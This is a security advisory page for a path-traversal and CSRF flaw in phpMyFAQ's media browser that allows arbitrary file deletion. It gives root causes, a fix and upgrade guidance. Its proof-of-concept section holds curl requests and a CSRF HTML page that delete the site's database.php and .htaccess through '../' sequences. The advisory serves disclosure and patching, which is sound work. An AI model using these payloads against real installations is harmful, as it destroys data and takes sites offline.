GHSA-38m8-xrfj-v38x — phpmyfaq/phpmyfaq
HIGHGHSA-38m8-xrfj-v38x is a high-severity (CVSS 8.7) Path Traversal vulnerability in phpmyfaq/phpmyfaq. A fix is available for phpmyfaq/phpmyfaq — see the affected versions and patch details below.
phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-38m8-xrfj-v38x.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-38m8-xrfj-v38x plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
phpmyfaq/phpmyfaqReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php
Lines 43-66:
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
$this->userHasPermission(PermissionType::FAQ_EDIT);
// ...
$data = json_decode($request->getContent());
$action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);
if ($action === 'fileRemove') {
$file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
$file = PMF_CONTENT_DIR . '/user/images/' . $file;
if (file_exists($file)) {
unlink($file);
}
// Returns success without checking if deletion was within intended directory
}
}
Root Causes:
- No path traversal prevention:
FILTER_SANITIZE_SPECIAL_CHARSdoes not remove or encode../sequences. It only encodes HTML special characters. - No CSRF protection: The endpoint does not call
Token::verifyToken(). Compare withImageController::upload()which validates CSRF tokens at line 48. - No basename() or realpath() validation: The code does not use
basename()to strip directory components orrealpath()to verify the resolved path stays within the intended directory. - HTTP method mismatch: The route is defined as
methods: ['GET']but reads the request body via$request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The ImageController::upload() method (same directory) properly validates file names:
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
// Rejects files with path traversal sequences
}
The FilesystemStorage::normalizePath() method also properly validates paths:
foreach ($segments as $segment) {
if ($segment === '..' || $segment === '') {
throw new StorageException('Invalid storage path.');
}
}
PoC
Direct exploitation (requires authenticated admin session):
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../.htaccess"}'
CSRF exploitation (attacker hosts this HTML page):
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
method: 'GET',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'fileRemove',
name: '../../../content/core/config/database.php'
}),
credentials: 'include'
});
</script>
</body>
</html>
When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.
Impact
- Server compromise: Deleting
content/core/config/database.phpcauses total application failure (database connection loss). - Security bypass: Deleting
.htaccessorweb.configcan expose sensitive directories and files. - Data loss: Arbitrary file deletion on the server filesystem.
- Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.
Remediation
- Add path traversal validation:
if ($action === 'fileRemove') {
$file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
$targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
$allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');
if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
}
if (file_exists($targetPath)) {
unlink($targetPath);
}
}
- Add CSRF protection:
if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);
}
- Change HTTP method to POST or DELETE to align with proper HTTP semantics.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpmyfaq/phpmyfaq | all versions | 4.1.1composer require phpmyfaq/phpmyfaq:^4.1.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpmyfaq/phpmyfaq, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update phpmyfaq/phpmyfaq to 4.1.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-38m8-xrfj-v38x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-38m8-xrfj-v38x can be triaged on real exposure rather than presence alone.
Tailored to GHSA-38m8-xrfj-v38x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-38m8-xrfj-v38x in your dependencies?
O3 Security finds GHSA-38m8-xrfj-v38x across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.